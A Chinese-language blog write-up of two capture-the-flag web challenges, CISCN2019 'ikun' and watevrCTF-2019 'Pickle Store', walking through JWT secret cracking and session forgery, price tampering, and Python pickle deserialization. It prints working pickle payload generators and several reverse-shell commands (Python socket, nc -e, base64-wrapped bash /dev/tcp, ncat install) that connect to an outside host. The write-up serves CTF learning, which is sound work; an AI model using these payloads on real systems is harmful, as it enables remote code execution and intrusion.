session伪造+pickle反序列化

来自

[CISCN2019 华北赛区 Day1 Web2]ikun

小黑子真没有树脂!!!

进去就是坤哥的舞蹈视频,意思就是让我们找到LV6的号然后买了,翻了好几页没找到:

url上有个page参数,直接写个python脚本帮我找:

import requests
import re

# 页面URL和GET参数
base_url = "http://ec000824-34eb-4762-8af6-00f57098348c.node4.buuoj.cn:81/shop"
num = 1
for _ in range(600):
    params = {"page": num}# 将此处替换为您想要请求的具体页面页码

    # 发送请求并获取页面内容
    response = requests.get(base_url, params=params)
    html = response.text

    # 使用正则表达式匹配<img>标签
    pattern = r'<img class="lv" src="/static/img/lv/lv6.png" alt=""/>'
    match = re.search(pattern, html)

    # 检查是否找到匹配项
    if match:
        print(num)
        break
    else:
        num+=1
        continue

直接访问181页,找到lv6账号:

显然我们是买不起的。

随便注册个号,这个时候就要考虑怎样修改账户值了,如果是前端就好办,js一改就有了。

接下来我们f12里面找那里有这个剩余金额数的,能不能改了。

只改html显然没用,应该去源码里改。

但是修改源金额好像不行,那换个思路,去购买页面看看,还真有个action可以利用:

这里直接改discount,不就买上了吗。

也可以直接上抓包改discount:

但抓包的时候看到个jwt,估计还有session伪造。

需要提权。

jwt作用不就来了,直接丢jwt-hack里面梭:

但显然是需要密钥的,不然改不了。

爆密钥也有个工具:

brendan-rius/c-jwt-cracker: JWT brute force cracker written in C (github.com)

密钥是1Kun,工具不好使直接去官网JSON Web 令牌 - jwt.io

 

改完抓包放包:

但是这个一键成为大会员点不动。

查看源码,发现www.zip:

又到了web题的常客源码审计,找到关键源码Admin.py,一眼pickle反序列化:

意思大概就是可以post传参become,然后将接受到的字符串进行反序列化为对象,那我们直接构造payload给它dumps出来。

pickle反序列化初探 - 先知社区 (aliyun.com)

CTF-python pickle反序列化 - sijidou - 博客园 (cnblogs.com)

表单里也有become传参,但是被hidden了,后面f12删了hidden或者抓包传就行。

exp:

 

(注意是python2,本机没装py2怕跟py3混了,虚拟机装的py2,但win7的cmd着实让人难受,复制粘贴还要开快速编辑模式,选定复制按回车....)

补充一下,至于为什么flag在flag.txt并不是空穴来风,借鉴一个博客所说的:

# coding=utf8

import pickle

import urllib

import commands

class payload(object):

  def __reduce__(self):

    return (commands.getoutput,('ls /',))

a = payload()

print urllib.quote(pickle.dumps(a))

#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

这里第一个对象form.html被调用,第二个参数返回结果,因为第二个参数res可以回显,所以这里返回的ls /也回显了出来,将结果作为become参数,回显flag位置在flag.txt

剩下的就是换命令内容,然后得到flag。

来自[CISCN2019 华北赛区 Day1 Web2]ikun - 哔哩哔哩 (bilibili.com)

 

再来一道简单的:

[watevrCTF-2019]Pickle Store

查看源码会发现:

已经很显然了,这里直接随便打:

nc可以直连,如果不能可以bash弹,也可以curl,这里因为是python环境,所以python弹也是可取的:

import base64
import pickle
import os

class A(object):
    def __reduce__(self):
        a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("server.natappfree.cc",40906));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,)) 

a = A()
print( base64.b64encode( pickle.dumps(a) ) )
#gASVBQEAAAAAAACMAm50lIwGc3lzdGVtlJOUjO1weXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCJzZXJ2ZXIubmF0YXBwZnJlZS5jYyIsNDA5MDYpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyeUhZRSlC4=

但这里好像弹不出来,也罢。

如果靶机没有nc,你可以直接给它装一个ncat进去,然后就还是一样的。

system('apt update;apt install -y ncat;ncat -e /bin/bash 172.18.0.1 8000')

这是我从队里师傅的博客里学到的hhhhhh......

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc server.natappfree.cc 40906 -e/bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )
#gASVXgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxCX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIHNlcnZlci5uYXRhcHBmcmVlLmNjIDQwOTA2IC1lL2Jpbi9zaCcplIWUUpQu

弹bash也可以:

import base64
import pickle
import os

class A(object):
    def __reduce__(self):
        a = "bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MDkwNiAwPiYx}|{base64,-d}|{bash,-i}'"
        return (os.system,(a,)) 

a = A()
print( base64.b64encode( pickle.dumps(a) ) )
#gASVgwAAAAAAAACMAm50lIwGc3lzdGVtlJOUjGtiYXNoIC1jICd7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzl6WlhKMlpYSXVibUYwWVhCd1puSmxaUzVqWXk4ME1Ea3dOaUF3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9J5SFlFKULg==

但我也没弹出来,搞不懂。

这个靶机是装了nc的,就直接bp上改session再send一下,反弹shell成功:

posted @ 2023-10-29 15:22  Eddie_Murphy  阅读(40)  评论(0编辑  收藏  举报